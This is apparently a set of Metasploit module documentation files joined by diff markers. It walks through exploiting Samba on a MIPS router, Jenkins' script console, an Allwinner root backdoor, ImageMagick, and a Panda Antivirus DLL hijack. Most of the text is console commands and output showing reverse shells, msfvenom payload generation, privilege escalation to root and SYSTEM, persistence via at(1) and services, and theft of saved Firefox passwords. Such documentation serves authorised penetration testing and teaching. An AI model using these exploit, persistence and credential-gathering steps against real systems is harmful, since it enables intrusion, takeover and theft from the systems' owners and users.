The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effect-less nops. At the end of the sled the true payload is added and execution will eventually hit this code.
A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
### Heap address brute force
The exploit uses a brute force approach to minimize problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targeting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again.
When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targeted a specific router, the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
## Scenarios
msf > use exploit/linux/samba/lsa\_transnames_heap
msf exploit(lsa\_transnames_heap) > set target 7
target => 7
msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf exploit(lsa\_transnames_heap) > show options
Module options (exploit/linux/samba/lsa\_transnames_heap):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes The SMB service port
SMBPIPE LSARPC yes The pipe name to use
Exploit target:
Id Name
-- ----
7 Linux Heap Brute Force (OpenWRT MIPS)
msf exploit(lsa\_transnames_heap) > exploit
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] 192.168.1.1:445 - Creating nop sled....
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
...Some intermediate attempts ommitted...
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000
uname -a
Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown
@@ -0,0 +1,130 @@
## Vulnerable Application
Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where
binaries are available for a variety of operating systems. Both LTS and weekly
builds are available.
Default settings have the script console enabled and require a valid user
account in order to access it. A known account can be used with this module by
setting the `USERNAME` and `PASSWORD` options.
## Verification Steps
Example steps in this format:
1. Install the application
1. Start msfconsole
1. Do: ```use exploit/multi/http/jenkins_script_console```
1. Do: ```set RHOST [target host]```
1. Do: ```set TARGET [target id]```
1. Do: ```exploit```
1. You should get a shell.
## Options
**TARGETURI**
The path to the target instance of Jenkins.
**USERNAME**
A username to an account that has access to the script console. This is only
necessary if the Jenkins instance has been configured to require
authentication.
**PASSWORD**
A password to an account that has access to the script console. This is only
necessary if the Jenkins instance has been configured to require
authentication.
## Scenarios
Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.
```
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set USERNAME steiner
USERNAME => steiner
msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
PASSWORD => I<3msf!
msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
RHOST => 192.168.254.126
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
LHOST => 192.168.254.132
msf exploit(jenkins_script_console) > exploit
[*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444
[*] [2016.10.29-18:43:07] Checking access to the script console
[*] [2016.10.29-18:43:07] Logging in...
[*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style)
[*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager...
[*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes)
[*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes)
[*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes)
[*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes)
[*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes)
[*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes)
[*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126
[*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes)
[*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400
meterpreter > sysinfo
Computer : PWNME-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```
@@ -0,0 +1,71 @@
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
Vulnerable OS: all OS images available for Orange Pis,
any for FriendlyARM's NanoPi M1,
SinoVoip's M2+ and M3,
Cuebietech's Cubietruck +
Linksprite's pcDuino8 Uno
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
## Usage
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
- `use auxiliary/scanner/ssh/ssh_login`
```
msf auxiliary(ssh_login) > set username orangepi
username => orangepi
msf auxiliary(ssh_login) > set password orangepi
password => orangepi
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
rhosts => 192.168.2.21
msf auxiliary(ssh_login) > exploit
[*] 192.168.2.21:22 SSH - Starting bruteforce
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
- `use exploit/multi/local/allwinner_backdoor`
```
msf exploit(allwinner_backdoor) > set verbose true
verbose => true
msf exploit(allwinner_backdoor) > set session 1
session => 1
msf exploit(allwinner_backdoor) > set payload linux/armle/mettle/reverse_tcp
payload => linux/armle/mettle/reverse_tcp
msf exploit(allwinner_backdoor) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(allwinner_backdoor) > check
[*] The target appears to be vulnerable.
msf exploit(allwinner_backdoor) > exploit
```
## Successful exploitation:
```
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[+] Backdoor Found, writing payload to /tmp/odzVx.elf
[*] Max line length is 65537
[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
[+] Escalating
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.248:49472) at 2016-09-22 21:56:50 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.2.248
OS : Ubuntu 14.04 (Linux 3.4.39)
Architecture : armv7l
Meterpreter : armle/linux
```
@@ -0,0 +1,54 @@
## Vulnerable Application
ImageMagick
## Verification Steps
Example steps in this format:
1. Install the ImageMagick
2. Start msfconsole
3. Do: ```use exploits/unix/fileformat/imagemagick_delegate```
4. Do: ```run```
5. convert msf.png msf.jpg
## Options
**USE_POPEN**
When the default option `true` is used, targets 0 (SVG file) and 1 (MVG file) are valid
When the option is set to `false`, target 2 (PS file) is valid
## Scenarios
## popen=true
```
msf exploit(imagemagick_delegate) > set target 0
msf exploit(imagemagick_delegate) > run
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
[*] Command shell session 1 opened (1.1.1.11:4444 -> 1.1.1.1:57212) at 2016-10-28 12:47:06 -0500
```
```
msf exploit(imagemagick_delegate) > set target 1
msf exploit(imagemagick_delegate) > run
[*] Started reverse TCP handler on 10.6.0.186:4444
[+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
[*] Command shell session 2 opened (1.1.1.1:4444 -> 1.1.1.1:64308) at 2016-10-28 15:48:40 -0500
```
## popen=false
```
msf exploit(imagemagick_delegate) > set target 2
target => 2
msf exploit(imagemagick_delegate) > set USE_POPEN false
USE_POPEN => false
msf exploit(imagemagick_delegate) > run
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
[*] Command shell session 5 opened (1.1.1.1:4444 -> 1.1.1.1:64772) at 2016-10-28 15:58:03 -0500
```
@@ -0,0 +1,32 @@
## Vulnerable Application
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
with any UNIX-like operating system with `atd` running. In the case of OS X, the `atrun` service must be launched:
```
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
```
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/unix/local/at_persistence`
4. Do: `set session #`
5. Do: `set target #`
6. `exploit`
## Options
**TIME**
When to run job via at(1). Changing may require WfsDelay to be adjusted.
**PATH**
Path to store payload to be executed by at(1). Leave unset to use mktemp.
## Scenarios
This module is useful for running one-shot payloads with delayed execution. It is slightly less obvious than cron.
@@ -0,0 +1,154 @@
## Vulnerable Application
Panda Antivirus Pro 2016 16.1.2 is available from [filehippo](http://filehippo.com/download_panda_antivirus_pro_2017/download/b436969174c5ca07a27a0aedf6456c89/) or from an unofficial [git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/Panda_AV_Pro2016_16.1.2.exe).
The AV must be running for PSEvents.exe to run and the module to get called, which can take up to an hour. I 32bit meterpreter seems to get caught, so you may need an AV exclusion for the folder to ensure it didn't catch meterpreter in action.
The downloads folder can take a 10-15 minutes to appear after install, and its downloaded by Panda AV from the company.
1. Theres an HTTP GET request to 23.215.132.154 for /retail/psprofiler/40032/psprofiler_suite.exe
2. Then right after HTTP GET request to 23.215.132.154 for /retail/psevents_suite.exe.
## Verification Steps
Example steps in this format:
1. Install the application
2. Wait for `C:\\ProgramData\\Panda Security\\Panda Devices Agent\\Downloads` folder to appear
3. Start msfconsole
4. Get a shell
5. Do: `use exploit/windows/local/panda_psevents`
6. Do: `set session #`
7. Do: `exploit`
8. Go do something else while you wait
9. Enjoy being system with your shell
## Options
**DLL**
Which DLL to name our payload. The original vulnerability writeup utilized bcryptPrimitives.dll, and mentioned several others that could be used. However the dll seems to be VERY picky. Default is cryptnet.dll. See the chart for more details.
| | WINHTTP.dll | VERSION.dll | bcryptPrimitives.dll | CRYPTBASE.dll | cryptnet.dll | WININET.dll |
|---------------------------------------------------------------|-------------|-------------|----------------------|---------------|--------------|-------------|
| 64bit target (1), win10 x64 | CRASH | CRASH | NO | NO | valid | no |
| 64bit target (1), win8.1 x86 | CRASH | CRASH | NO | valid | valid | no |
| 32bit target (0), win10 x64 | CRASH | CRASH | NO | NO | valid | no |
| 32bit target (0), win8.1 x86 | CRASH | CRASH | NO | valid | valid (caught by av) | no |
| 32bit target (0), win7sp1 x86 | | | valid | | valid (caught by av) | |
In this chart, `CRASH` means PSEvents.exe crashed on the system. `NO` means PSEvents didn't crash, but no session was obtained. `valid` means we got a shell.
**ListenerTimeout**
How long to wait for a shell. PSEvents.exe runs every hour or so, so the default is 3610 (10sec to account for code execution or other things)
## Scenarios
### Windows 8.1 x86 with Panda Antirivus Pro 2016 16.1.2
Step 1, get a local shell. I used msfvenom to drop an exe for easy user level meterpreter.
msfvenom -a x86 --platform windows -p windows/meterpreter_reverse_tcp -f exe -o meterpreter.exe -e x86/shikata_ga_nai -i 1 LHOST=192.168.2.117 LPORT=4449
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter_reverse_tcp
payload => windows/meterpreter_reverse_tcp
msf exploit(handler) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(handler) > set lport 4449
lport => 4449
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4449
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.2.117:4449 -> 192.168.2.91:63617) at 2016-09-25 20:32:15 -0400
meterpreter > getuid
Server username: IE11Win8_1\IEUser
meterpreter > background
[*] Backgrounding session 1...
Step 2, drop our panda exploit
use exploit/windows/local/panda_psevents
msf exploit(panda_psevents) > set session 1
session => 1
msf exploit(panda_psevents) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(panda_psevents) > set exitfunc seh
exitfunc => seh
msf exploit(panda_psevents) > set DLL CRYPTBASE.dll
DLL => CRYPTBASE.dll
msf exploit(panda_psevents) > show options
Module options (exploit/windows/local/panda_psevents):
Name Current Setting Required Description
---- --------------- -------- -----------
DLL CRYPTBASE.dll yes dll to create (Accepted: cryptnet.dll, bcryptPrimitives.dll, CRYPTBASE.dll)
ListenerTimeout 3610 yes Number of seconds to wait for the exploit
SESSION 1 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.2.117 yes The listen address
LPORT 4450 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf exploit(panda_psevents) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4450
[*] Uploading the Payload DLL to the filesystem...
[*] Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...
[*] Start Time: 2016-09-27 18:10:21 -0400
[*] Sending stage (957999 bytes) to 192.168.2.91
[*] Meterpreter session 2 opened (192.168.2.117:4450 -> 192.168.2.91:50022) at 2016-09-27 18:46:15 -0400
[+] Deleted C:\ProgramData\Panda Security\Panda Devices Agent\Downloads\1a2d7253f106c617b45f675e9be08171\CRYPTBASE.dll
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter > background
## Failed Exploitation Attempts
If the dll doesn't work, PSEvents.exe will fail to run. While silent to the user, an error will occur in the Application Windows Logs.
* Event ID: 1000
* Task Category (100)
* Log Name: Application
* Source: Application Error
* Details:
```
Faulting application name: PSEvents.exe, version: 4.0.0.35, time stamp: 0x57061ba6
Faulting module name: ntdll.dll, version: 6.3.9600.17415, time stamp: 0x54504b06
Exception code: 0xc0000374
Fault offset: 0x000d0cf2
Faulting process id: 0xdd0
Faulting application start time: 0x01d218a30fbf1ac5
Faulting application path: C:\ProgramData\Panda Security\Panda Devices Agent\Downloads\1a2d7253f106c617b45f675e9be08171\PSEvents.exe
Faulting module path: C:\Windows\SYSTEM32\ntdll.dll
Report Id: 4de7a07e-8496-11e6-9735-000c29e0cffb
Faulting package full name:
Faulting package-relative application ID:
```
@@ -0,0 +1,63 @@
## Example Usage
```
msf exploit(handler) > use exploit/windows/local/ps_persist
msf exploit(ps_persist) > set session -1
session => -1
msf exploit(ps_persist) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ps_persist) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(ps_persist) > set lport 4445
lport => 4445
msf exploit(ps_persist) > show options
Module options (exploit/windows/local/ps_persist):
Name Current Setting Required Description
---- --------------- -------- -----------
OUTPUT_TARGET no Name and path of the generated executable, default random, omit extension
SESSION -1 yes The session to run this module on.
START_APP true no Run EXE/Install Service
SVC_DNAME MsfDynSvc no Display Name to use for the Windows Service
SVC_GEN false no Build a Windows service, which defaults to running as localsystem
SVC_NAME MsfDynSvc no Name to use for the Windows Service
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4445 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(ps_persist) > run
[*] Started reverse TCP handler on 192.168.56.1:4445
[+] - Bytes remaining: 9664
[+] - Bytes remaining: 1664
[+] Payload successfully staged.
[*] Sending stage (957999 bytes) to 192.168.56.101
[+] Finished!
[*] Meterpreter session 2 opened (192.168.56.1:4445 -> 192.168.56.101:49974) at 2016-10-08 18:42:36 -0500
meterpreter > sysinfo
Computer : DESKTOP-B8ALP1P
OS : Windows 10 (Build 14393).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
```
@@ -0,0 +1,154 @@
The php/meterpreter/reverse_tcp is a staged payload used to gain meterpreter access to a compromised system. This is a unique payload in the Metasploit Framework because this payload is one of the only payloads that are used in RFI vulnerabilities in web apps. This module _can_ be cross platform, but the target needs to be able to run php code.
## Vulnerable Application
The PHP Meterpreter is suitable for any system that supports PHP. For example, the module can be used against webservers which run PHP code for a website. OS X has PHP installed by default.
## Deploying php/meterpreter/reverse_tcp
### Scenarios
Specific demo of using the module that might be useful in a real world scenario.
#### Generating a file with msfvenom
```
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php
```
#### Starting a listener
```
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [IP]
```
## Important Basic Commands
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the PHP Meterpreter
has less commands, but here's a list of all the common ones you might need:
**pwd command**
The ```pwd``` command tells you the current working directory. For example:
```
meterpreter > pwd
/Users/thecarterb/Desktop
```
**cd command**
The ```cd``` command allows you to change directories. Example:
```
meterpreter > cd /Users/thecarterb/Desktop
meterpreter > pwd
/Users/thecarterb/Desktop
```
**cat command**
The ```cat``` command allows you to see the content of a file:
```
meterpreter > cat /tmp/data.txt
Hello World!
```
**upload command**
The ```upload``` command allows you to upload a file to the remote target. This is useful for uploading additional payload files. For example:
```
meterpreter > upload /tmp/data.txt /Users/thecarterb/Desktop
[*] uploading : /tmp/data.txt -> /Users/thecarterb/Desktop
[*] uploaded : /tmp/data.txt -> /Users/thecarterb/Desktop/data.txt
meterpreter >
```
**download command**
The ```download``` command allows you to download a file from the remote target to your machine.
For example:
```
meterpreter > download /Users/thecarterb/Desktop/data.txt /tmp/pass.txt
[*] downloading: /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
[*] download : /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
meterpreter >
```
**search command**
The ```search``` command allows you to find files on the remote file system. For example,
this shows how to find all text files in the current directory:
```
meterpreter > search -d . -f *.txt
Found 2 results...
.\pass.txt (13 bytes)
./creds\data.txt (83 bytes)
meterpreter >
```
Without the ```-d``` option, the command will attempt to search in all drives.
The ```-r``` option for the command allows you to search recursively.
**getuid command**
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
```
meterpreter > getuid
Server username: root
```
**execute command**
The ```execute``` command allows you to execute a command or file on the remote machine.
The following examples uses the command to create a text file:
```
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
Process 73642 created.
meterpreter >
```
**ps command**
The ```ps``` command lists the running processes on the remote machine.
**shell command**
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
For example:
```
meterpreter > shell
Process 74513 created.
Channel 2 created.
sh-3.2#
```
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
**sysinfo**
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
* Computer name
* OS name
* Architecture
* Meterpreter type
## Using `post` modules
When using the PHP Meterpreter, you have the feature of using Metasploit's `post` modules on that specific session. By default, most `multi` post modules will work; however, you can also use OS specific modules depending on the OS of the compromised system. For example, if you have a PHP Meterpreter session running on OS X, you can use `osx` post modules on that session.
__Don't forget to:__
- Set the `LHOST` datastore option to the connect-back IP Address
- If you want to get multiple shells, set `ExitOnSession` to `false`
@@ -0,0 +1,68 @@
## Vulnerable Application
This post-exploitation module allows the collection of saved Firefox passwords from a Firefox privileged javascript shell.
## Verification Steps
1. Start `msfconsole`
2. Get privileged javascript session
3. Do: `use post/firefox/gather/passwords`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see all saved Firefox passwords in the loot file in JSON format
## Options
- **SESSION** - The session to run the module on.
- **TIMEOUT** - Maximum time (seconds) to wait for a response. The default value is 90.
## Scenarios
**Obtain a privileged javascript shell and gather saved Firefox passwords**
To be able to use this module, a privileged javascript shell is needed. It can be obtained by using a javascript privilege exploit like `exploit/multi/browser/firefox_proto_crmfrequest`, `exploit/multi/browser/firefox_proxy_prototype` or others.
In the example case of the `firefox_proto_crmfrequest` exploit use `set TARGET 0` to use a javascript shell.
```
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > set TARGET 0
TARGET => 0
msf exploit(firefox_proto_crmfrequest) > run
[*] Exploit running as background job.
msf exploit(firefox_proto_crmfrequest) >
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/nbHsSeXAfjr
[*] Local IP: http://192.168.2.117:8080/nbHsSeXAfjr
[*] Server started.
[*] Gathering target information for 192.168.2.117
[*] Sending HTML response to 192.168.2.117
[*] Sending HTML
[*] Sending the malicious addon
[*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.117:35100) at 2016-10-08 00:33:09 +0200
msf exploit(firefox_proto_crmfrequest) > use post/firefox/gather/passwords
msf post(passwords) > set SESSION 1
SESSION => 1
msf post(passwords) > run
[*] Running the privileged javascript...
[+] Saved 1 passwords to /home/user/.msf4/loot/20161008003433_default_192.168.2.117_firefox.password_070261.txt
[*] Post module execution completed
```
The loot file then contains all passwords in json format, like so:
```
[
{
"password":"1234",
"passwordField":"pwd",
"username":"admin",
"usernameField":"log",
"httpRealm":"",
"formSubmitURL":"https://example.com",
"hostname":"https://example.com"
}
]
```
@@ -1,93 +0,0 @@
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
Vulnerable OS: all OS images available for Orange Pis,
any for FriendlyARM's NanoPi M1,
SinoVoip's M2+ and M3,
Cuebietech's Cubietruck +
Linksprite's pcDuino8 Uno
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
## Usage
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
- `use auxiliary/scanner/ssh/ssh_login`
```
msf auxiliary(ssh_login) > set username orangepi
username => orangepi
msf auxiliary(ssh_login) > set password orangepi
password => orangepi
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
rhosts => 192.168.2.21
msf auxiliary(ssh_login) > exploit
[*] 192.168.2.21:22 SSH - Starting bruteforce
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
